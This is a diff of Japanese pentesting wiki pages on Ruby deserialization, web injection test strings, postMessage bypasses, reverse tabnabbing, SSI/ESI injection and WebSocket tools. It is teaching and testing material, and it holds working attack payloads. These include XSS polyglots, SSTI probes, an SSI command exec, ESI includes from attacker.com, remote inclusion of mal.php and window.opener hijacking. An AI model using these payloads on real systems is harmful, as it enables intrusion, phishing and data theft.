<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)のキーとして配置する必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>[json_createに関するートを最後に参照](#table-vulnerable-sinks)</td></tr></tbody></table>
基本的な例:
```ruby
@ -888,7 +811,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になりました。これにより、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器が得られました。
```json
{
"^o": "URI::HTTP",

View File

@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
## Open Redirect SVGファイルのアップロード
```markup
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

View File

@ -8,7 +8,7 @@
> この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
> [!CAUTION]
> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。ここでは**データベースインジェクションも見つかりません**、なぜなら一部のコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存するからです。
> **XXEのようなContent-Type依存のインジェクションは見つかりません**。通常、XMLデータを送信するリクエストを見つけた場合は、自分で試すことになります。また、**データベースインジェクションもここには見つかりません**。いくつかのコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存します。
## Polygloths list
```python
@ -91,7 +91,7 @@ $(ls)
## ダングリングマークアップ
### 基本テスト
```markup
```html
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [ファイルインクルージョン/パストラバーサル](../file-inclusion/index.html)
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/index.html)
### 基本テスト
```bash
@ -130,14 +130,14 @@ javascript:alert(1)
## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md)
### 基本テスト
```markup
```html
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### ポリグロス
```markup
```html
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/index.html)
@ -147,7 +147,7 @@ Open Redirectで使用されるのと同じテストがここでも使用でき
## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/index.html)
### 基本テスト
```markup
```html
${{<%[%'"}}%\
{{7*7}}
${7*7}
@ -159,27 +159,27 @@ ${{7*7}}
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### 基本テスト
```markup
```html
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### ポリグロス
```markup
```html
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### 基本テスト
```markup
```html
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### ポリグロス
```markup
```html
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

View File

@ -34,13 +34,13 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
**targetOrigin** は '\*' または _https://company.com_ のような URL である可能性があります。\
**第二のシナリオ**では、**メッセージはそのドメインにのみ送信される**(ウィンドウオブジェクトのオリジンが異なっていても)。\
**ワイルドカード**が使用される、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
**ワイルドカード**が使用される場合、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
### iframe の攻撃と **targetOrigin** におけるワイルドカード
### iframe 攻撃 & **targetOrigin**ワイルドカード
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin****変更** し、あなたが制御するドメインに **機密** メッセージを **漏洩** させることができます。\
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin****変更** し、あなたが制御するドメインに **機密** メッセージを **漏洩** させることができます。\
ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**
```markup
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
@ -75,34 +75,34 @@ false
現在のページで**イベントリスナーを見つける**ために、次のことができます:
- `window.addEventListener``$(window).on` (_JQueryバージョン_) のためにJSコードを**検索**する
- 開発者ツールのコンソールで**実行**する: `getEventListeners(window)`
- `window.addEventListener``$(window).on`_JQueryバージョン_JSコードを**検索**する
- 開発者ツールのコンソールで`getEventListeners(window)`を**実行**する
![](<../../images/image (618) (1).png>)
- ブラウザの開発者ツールで _Elements --> Event Listeners_ に**移動**する
- ブラウザの開発者ツールで_Elements --> Event Listeners_に**移動**する
![](<../../images/image (396).png>)
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) のような**ブラウザ拡張機能**を使用する。これらのブラウザ拡張機能は、**すべてのメッセージを傍受**し、表示します。
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)や[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)のような**ブラウザ拡張機能**を使用する。これらのブラウザ拡張機能は、**すべてのメッセージを傍受**し、表示します。
### オリジンチェックのバイパス
- **`event.isTrusted`** 属性は、ユーザーの正当なアクションによって生成されたイベントに対してのみ `True` を返すため、安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。
- **`event.isTrusted`**属性は、真のユーザーアクションによって生成されたイベントに対してのみ`True`を返すため、安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。
- PostMessageイベントでのオリジン検証に**`indexOf()`**を使用することは、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- `String.prototype.search()` の**`search()`**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
- `String.prototype.search()`の**`search()`**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- **`match()`** 関数は、`search()` と同様に正規表現を処理します。正規表現が不適切に構されていると、バイパスされる可能性があります。
- **`escapeHtml`** 関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作されて、その制御されたプロパティが `hasOwnProperty` を認識しない場合、`escapeHtml` は期待通りに機能しません。以下の例で示されています:
- **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が不適切に構造化されていると、バイパスされる可能性があります。
- **`escapeHtml`**関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作されて、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待通りに機能しません。以下の例で示されています:
- 期待される失敗:
@ -120,17 +120,17 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
この脆弱性の文脈では、`File` オブジェクトはその読み取り専用の `name` プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに `escapeHtml` 関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
この脆弱性の文脈では、`File`オブジェクトはその読み取り専用の`name`プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
- JavaScriptの `document.domain` プロパティは、スクリプトによって設定され、ドメインを短縮することができ、同じ親ドメイン内での同一オリジンポリシーの適用が緩和されます。
- JavaScriptの`document.domain`プロパティは、スクリプトによってドメインを短縮するために設定でき、同じ親ドメイン内での同一オリジンポリシーの適用を緩和します。
### e.origin == window.origin バイパス
### e.origin == window.originバイパス
%%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。
サンドボックス属性**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に `null` に設定され、iframeのオリジンと一致することを意味します。
サンドボックス属性**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に`null`に設定され、iframeのオリジンと一致することを意味します。
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが `null` に設定されます。この状況は、**`e.origin == window.origin`** が真(`null == null`と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値 `null` を共有しているからです。
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが`null`に設定されます。この状況は、**`e.origin == window.origin`**が真(`null == null`と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値`null`を共有しているからです。
詳細については**読む**
@ -158,16 +158,16 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header バイパス
これらの攻撃を実行するには、理想的には **被害者のウェブページ**`iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーはその **動作****防ぐ** ことがあります。\
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、それと通信することができます:
```markup
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、通信することができます:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 子に送信されたメッセージをメインページをブロックして盗む
### 子に送信されたメッセージをメインページをブロックして盗む
次のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**の**XSS**を悪用して**データを漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
次のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**の**XSS**を悪用して**データを漏洩**させることで、**子供のiframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### iframeの位置を変更してメッセージを盗む
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子供のiframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
@ -185,9 +185,9 @@ steal-postmessage-modifying-iframe-location.md
`postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)に、**postMessageを通じた非常に良く説明されたXSS**のいくつかがあります。
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)に、**postMessage**を通じた**非常に良く説明されたXSS**のいくつかがあります。
`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**を行うエクスプロイトの例:
`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**の例:
```html
<html>
<body>

View File

@ -2,12 +2,12 @@
# 説明
**攻撃者**が**`<a`**タグの**`href`**引数を**制御**できる状況で、属性**`target="_blank" rel="opener"`**が設定されている場合、被害者がクリックするリンクを、**攻撃者**は自分の制御下にあるウェブサイト(**悪意のある****ウェブサイト**)に**ポイント**します。次に、**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスすると、この**悪意のある****ウェブサイト**は、javascriptオブジェクト**`window.opener`**を介して**元の****ページ**を**制御**できるようになります。\
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれている場合、**`rel="noopener"`**がない場合も脆弱である可能性があります。
**攻撃者**が**`<a`**タグの**`href`**引数を制御できる状況で、属性**`target="_blank" rel="opener"`**が設定されている場合、**攻撃者**はこの**リンク**を自分の制御下にあるウェブサイト(**悪意のある****ウェブサイト**)に向けることができます。**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスすると、この**悪意のある****ウェブサイト**は**`window.opener`**というjavascriptオブジェクトを介して**元の****ページ**を**制御**できるようになります。\
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれていて、**`rel="noopener"`**がない場合も脆弱性がある可能性があります。
この動作を悪用する一般的な方法は、**元のウェブの位置を変更**することです。`window.opener.location = https://attacker.com/victim.html`を使用して、攻撃者が制御する**元のものに似た**ウェブに変更し、元のウェブサイトの**ログイン****フォーム**を**模倣**してユーザーに資格情報を要求することです。
この動作を悪用する一般的な方法は、**`window.opener.location = https://attacker.com/victim.html`**を使用して元のウェブの位置を攻撃者が制御するウェブに変更し、**元のウェブサイト**の**ログイン****フォーム**を模倣してユーザーに資格情報を要求することです。
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法でそれを悪用して**隠密な攻撃**を行うことができることに注意してくださいもしかしたら、javascriptイベントを変更して、彼が制御するサーバーに情報を流出させる?)
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法で**より巧妙な攻撃**を行うことも可能です例えば、javascriptイベントを変更して彼が制御するサーバーに情報を流出させる?)
# 概要
@ -25,9 +25,9 @@
## 例 <a href="#examples" id="examples"></a>
フォルダに次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\
次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の****ウェブサイト**の**URL**が**変更**される様子を確認します
```markup:vulnerable.html
フォルダに次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\
次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の****ウェブサイト**の**URL**が**変更**される様子を確認してください
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
@ -37,7 +37,7 @@
</html>
```
```markup:malicious.html
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</html>
```
```markup:malicious_redir.html
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
@ -56,25 +56,25 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</body>
</html>
```
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
**クロスオリジン** アクセスが発生するシナリオでは、悪意のあるサイトがアクセスできる **opener** JavaScript オブジェクト参照によって指される **window** JavaScript クラスインスタンスのプロパティは以下のように制限されます:
**クロスオリジン** アクセスが発生するシナリオでは、**opener** JavaScript オブジェクト参照によって参照される **window** JavaScript クラスインスタンスのプロパティは、悪意のあるサイトによってアクセスできるのは以下のものに制限されます:
- **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
- **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
- **`opener.length`**: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。
- **`opener.opener`**: このプロパティを通じて現在のウィンドウを開いたウィンドウへの参照を取得できます。
- **`opener.opener`**: このプロパティを通じて現在のウィンドウを開いたウィンドウへの参照を取得できます。
- **`opener.parent`**: このプロパティは現在のウィンドウの親ウィンドウを返します。
- **`opener.self`**: このプロパティは現在のウィンドウ自体へのアクセスを提供します。
- **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。
ただし、ドメインが同一の場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
# 予防
# Prevention
予防に関する情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。
予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。
## 参考文献
## References
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)

View File

@ -6,7 +6,7 @@
**(紹介は** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**からのものです)**
SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバーで評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\
SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバーで評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\
例えば、既存のHTMLページに次のような指示文を配置することができます
`<!--#echo var="DATE_LOCAL" -->`
@ -15,7 +15,7 @@ SSI (Server Side Includes) は、**HTMLページに配置され、ページが
`Tuesday, 15-Jan-2013 19:28:54 EST`
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
ウェブアプリケーションが**`.shtml``.shtm`、または`.stm`**の拡張子を持つファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。
@ -56,17 +56,17 @@ SSIを使用するタイミングと、ページ全体をプログラムによ
```
## Edge Side Inclusion
情報や動的アプリケーションを**キャッシュする**ことには問題があります。コンテンツの一部は、次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\
情報を**キャッシュすることや動的アプリケーション**に関する問題があり、コンテンツの一部は次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\
もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。
### ESI Detection
サーバーからのレスポンスにおける以下の**ヘッダー**は、サーバーがESIを使用していることを意味します:
サーバーからのレスポンスにおける以下の**ヘッダー**は、サーバーがESIを使用していることを意味します
```
Surrogate-Control: content="ESI/1.0"
```
このヘッダーが見つからない場合、サーバーは**ESIを使用している可能性があります**。\
**盲目的なエクスプロイト手法も使用できます**。リクエストは攻撃者のサーバーに到達する必要があります:
このヘッダーが見つからない場合、サーバーは**それでもESIを使用している可能性があります**。\
**盲目的なエクスプロイト手法も使用可能です**。攻撃者のサーバーにリクエストが到着する必要があります:
```javascript
// Basic detection
hell<!--esi-->o
@ -99,12 +99,12 @@ hell<!--esi-->o
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
| Squid3 | はい | はい | はい | はい | いいえ |
| Varnish Cache | はい | いいえ | いいえ | はい | はい |
| Fastly | はい | いいえ | いいえ | いいえ | はい |
| Akamai ESIテストサーバー (ETS) | はい | はい | はい | いいえ | いいえ |
| NodeJS esi | はい | はい | はい | いいえ | いいえ |
| NodeJS nodesi | はい | いいえ | いいえ | いいえ | オプション |
#### XSS
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
#### プライベートローカルファイル
これを「ローカルファイルインクルージョン」と混同しないでください:
```markup
```html
<esi:include src="secret.txt">
```
#### CRLF
```markup
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
@ -160,7 +160,7 @@ Use <!--esi--> to bypass WAFs:
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- レスポンスにヘッダーを追加するXSSを使用したレスポンスで「Content-Type: text/json」をバイパスするのに便利
- レスポンスにヘッダーを追加するXSSを使用したレスポンスで「Content-Type: text/json」をバイパスするのに役立ちます
```bash
<!--esi/$add_header('Content-Type','text/html')/-->

View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
## What are WebSockets
## WebSocketとは
WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。
WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**にわたって維持されるように設計されており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。
### Establishment of WebSocket Connections
### WebSocket接続の確立
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss`プロトコルは**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。
接続の確立中に、ブラウザとサーバー間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように
接続の確立中に、ブラウザとサーバー間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示されています:
ブラウザがハンドシェイクリクエストを送信します
ブラウザがハンドシェイクリクエストを送信:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -40,7 +40,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
- `Sec-WebSocket-Version`ヘッダーは、通常`13`の希望するWebSocketプロトコルバージョンを示します。
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシュプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を確認します。
これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。
@ -63,12 +63,12 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocketの既知の** **脆弱性** **を自動的に発見、フィンガープリンティング、検索できます。**
**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocketの既知の** **脆弱性** **を自動的に発見、フィンガープリンティング、検索できます。**
### Websocket Debug tools
- **Burp Suite** は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、BurpのWebsocket通信をより良く管理できるようにします。
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、BurpのWebsocket通信をより良く管理できるようにします。
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタム**メッセージを送信し、表示するためのユーザーインターフェースを提供します。
- [**wsrepl**](https://github.com/doyensec/wsrepl) は、特にペネトレーションテスト用に設計された**インタラクティブWebsocket REPL**です。**受信Websocketメッセージを観察し、新しいメッセージを送信する**ためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを備えています。
- [**https://websocketking.com/**](https://websocketking.com/) は、**websockets**を使用して他のウェブと通信するための**ウェブ**です。
@ -76,20 +76,20 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Websocket Lab
